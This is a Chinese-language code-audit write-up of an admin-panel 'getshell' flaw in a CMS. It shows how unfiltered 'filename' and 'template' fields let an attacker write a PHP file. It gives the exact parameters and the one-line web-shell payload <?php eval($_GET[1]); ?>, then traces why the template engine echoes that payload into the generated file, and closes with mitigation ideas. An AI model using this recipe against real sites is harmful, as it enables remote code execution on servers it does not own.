记一次某 CMS 的后台 getshell

514 阅读4分钟
原文链接: www.anquanke.com

 

前言

出于对审计的热爱,最近审了一下某 cms,审出了个后台 getshell,虽然危害不算太大,但是过程很有意思,在这里分享一下。

 

漏洞发现

代码审计

翻翻找找中找到了,这个函数:

function saxue_writefile( $_fileurl, $_data, $_method = "wb" ) {
    $_fileopen = @fopen( $_fileurl, $_method ); // 尝试打开文件
    if ( !$_fileopen ) {
        return false;
    } 
    @flock( $_fileopen, LOCK_EX );
    $_ret = @fwrite( $_fileopen, $_data ); // 写入内容
    @flock( $_fileopen, LOCK_UN );
    @fclose( $_fileopen );
    @chmod( $_fileurl, 511 );
    return $_ret;
}

这是个纯洁的函数,没有任何的过滤,第一个参数是 文件名,第二个参数是 内容,这和 file_put_contents 函数一样。

现在我们有个 “高危函数”,我们可以找找哪里调用了他, 又经过了很多次翻翻找找,在 adminpages.php 下有一段引起了我的注意:

case 'html':
        ...    
    $row = `从 pages 数据表中获取值`;
    saxue_writefile( 
        $filepath . '/' . $row['filename'] , 
        $saxueTpl -> fetch( SAXUE_THEME_PATH . '/pages/' . $row['template'] ) 
    );
        ...

这里省略了大部分代码,留下了两行关键的。

之所以注意起这行代码,是因为我看到这个最后的 $row['filename']。我就基本盲猜他是从数据库中拿出来的,这就说明了,我们有可能可以通过后台某项设置控制它。

然后我们看看第二个参数也是从 row 取出来的,当然,你会看到第二个参数还经过了一个函数: $saxueTpl -> fetch

由于他取出来的是 template 而且是 fetch 函数,我再一次盲猜他是获取文件内容的,这里暂时先不跟。

现在我们来看看这两个数值到底能不能控制,在 case html 下面,紧跟着的是 case add,我们来看看这个 case add

case 'add':
    $row = array();
    if ( isset( $_POST['dosubmit'] ) ) {
            $_POST['item'] = strtolower( trim( $_POST['item'] ) );
            $_POST['title'] = trim( $_POST['title'] );
            $_POST['content'] = trim( $_POST['content'] );
            $_POST['htmldir'] = trim( $_POST['htmldir'] );
            $_POST['htmlurl'] = trim( $_POST['htmlurl'] );
            $_POST['filename'] = trim( $_POST['filename'] );
            if ( isset( $_REQUEST['id'] ) ) {
                $data = $data_handler -> create( false ); // 编辑时调用到此处
            } else {
                $data = $data_handler -> create(); // 根据 $_POST 创建一个数组,方便插入。
            } 
            if ( !$data_handler -> insert( $data ) ) { // 插入 $data ,即 $_POST 的数据
                saxue_printfail( LANG_ERROR_DATABASE );
            }

果不其然,我们在这里看到了我们的 filename,在下面 insert 了,其间没有任何过滤。

当然你还会看这里没有 template,但是真的没有吗?我们可以测试看看。

漏洞测试

实践是检验真理的唯一标准。

访问后台的 pages.php

此处输入图片的描述

点击添加单页,然后抓包:

此处输入图片的描述

当然,能不能任意改值呢?比如 filename 改成 .php 后缀,template 改成别的路径的文件可以嘛?

我们试试:

此处输入图片的描述

数据库:

此处输入图片的描述

最后我们要验证 fetch 函数到底是不是获取文件内容的,我们也不需要跟进函数内部,直接测试就好。

我们看到 联系我们 这个 templateabout.html。我们去改一下 about.html 试试看:

此处输入图片的描述

然后此时触发那个 case html 下的代码。其实就是 pages.php 下的这个功能 :

此处输入图片的描述

生成一下:

此处输入图片的描述

成功了。。现在我们可以兴高采烈地去写 shell 了。

 

漏洞复现

漏洞利用

想一下怎么利用,因为我们现在也没有文件可以给我们控制。

其实我们很容易想到上传一个图片文件,然后读取文件图片写 shell ,上手试试,那么哪里可以上传图片呢?第一个想到的当然是写文章的地方啊:

此处输入图片的描述

此处输入图片的描述

然后我们这时候用刚刚抓到的包再添加一个,构造一下 参数

filename=test.php
template=../../../../attachs/image/1905/2722001482207.png

这里 template 是根据相对路径写出来的。

此处输入图片的描述

生成一下,访问,满心欢喜的期待着我们的 shell 出现:

此处输入图片的描述

What?出现了什么问题,我们去看看生成出来的文件(/about/test.php):

此处输入图片的描述

为什么我们的文件名没了一半?看看数据库:

此处输入图片的描述

没错,我们的字段限制了长度:

此处输入图片的描述

在思考片刻后,我突然想到:文件名输出在了我们的 php 中

没错,我们可以把文件名写成一个 shell,这样我们就可以连图片也不用上传了。

改改参数:

filename=test.php
template=<?php eval($_GET[1]); ?>

再次重复刚刚的步骤,修改,然后生成:

此处输入图片的描述

成功了。。

访问 /about/test.php 试试:

此处输入图片的描述

 

字符串溯源

当然,这是一篇 审计区 的文章,秉着求知欲,我们看看这个字符串哪里来的。

回到一开始 pages.phpcase html,就是这句话:

saxue_writefile( 
    $filepath . '/' . $row['filename'], 
    $saxueTpl -> fetch( SAXUE_THEME_PATH . '/pages/' . $row['template'] ) 
);

我们跟进 fetch 函数。

(这里因为代码比较多,我用了 XBEBUG 找到了关键位置。)

关键位置:

ob_start();
if( 
    $this -> _is_compiled( $template_file, $_template_compile_path ) || 
    $this -> _compile_resource( $template_file, $_template_compile_path 
))
{
    include( $_template_compile_path . $this -> _compile_prefix );
} 
$_template_results = ob_get_contents();
ob_end_clean();

倒数第二行的 $_template_results 就是返回值,这里是从 ob_get_contents 获取的。也就是缓冲区,但是从 ob_start 处到 ob_get_contents 就经历了一个 if 和一个 include

我们先看看 if 的第一个条件:

$this -> _is_compiled( $template_file, $_template_compile_path )

这里说明一下第一个参数是我们数据库里 template 的值。

跟进一下 _is_compiled 函数:

public function _is_compiled( $tpl_file, $compile_path ) {
    ....
    if ( !is_file( $tpl_file ) ) {
        return false;
    } 
    ...
}

这里依然省略了一些代码,因为正常来说就是判断了 $tpl_file 是否存在,由于我们写的是一句话,所以不可能是文件,返回 false

因为是 ||,那么就会进入第二个判断:

$this -> _compile_resource( $template_file, $_template_compile_path )

跟进 _compile_resource 函数:

public function _compile_resource( $tpl_file, $compile_path ) {
    if ( !is_file( $tpl_file ) ) {
        echo "Template file (" . str_replace( SAXUE_ROOT_PATH, "", $tpl_file ) . ") is not exists!";
        return false;
    }

没错,这里还是判断了是否是文件,如果不是就输出 模板文件 $tpl_file 不存在,这句话里带有我们的文件名,此处的 str_replace 替换了一个无关紧要路径。

跳出函数,因为我们在 _compile_resource 函数内 echo 输出到了缓冲区。所以在下面获取的时候缓冲区内的数据就是:

Template file (/templates/pc/pages/<?php eval($_GET[1]); ?>) is not exists!

ob_start();
if ( 
    $this -> _is_compiled( $template_file, $_template_compile_path ) 
|| 
    $this -> _compile_resource( $template_file, $_template_compile_path  // 如果文件不存在,输出一句带有文件名的话,存入缓冲区
)) {
    include( $_template_compile_path . $this -> _compile_prefix );
} 
$_template_results = ob_get_contents(); // 获取缓冲区的值,接下来会返回

此时这个字符串就被我们纯洁的 saxue_writefile,写进纯洁的 test.php 里了。

 

总结

这个漏洞其实还是很简单的,防御的话,我觉得可以在 fetch 函数中判断是否有一些特殊字符,或者干脆在找不到模板的时候干脆不输出文件名。其实我觉得应该还可以更好的防御方法,但是由于水平有限,希望表哥们如果有更好的方法可以一起探讨交流。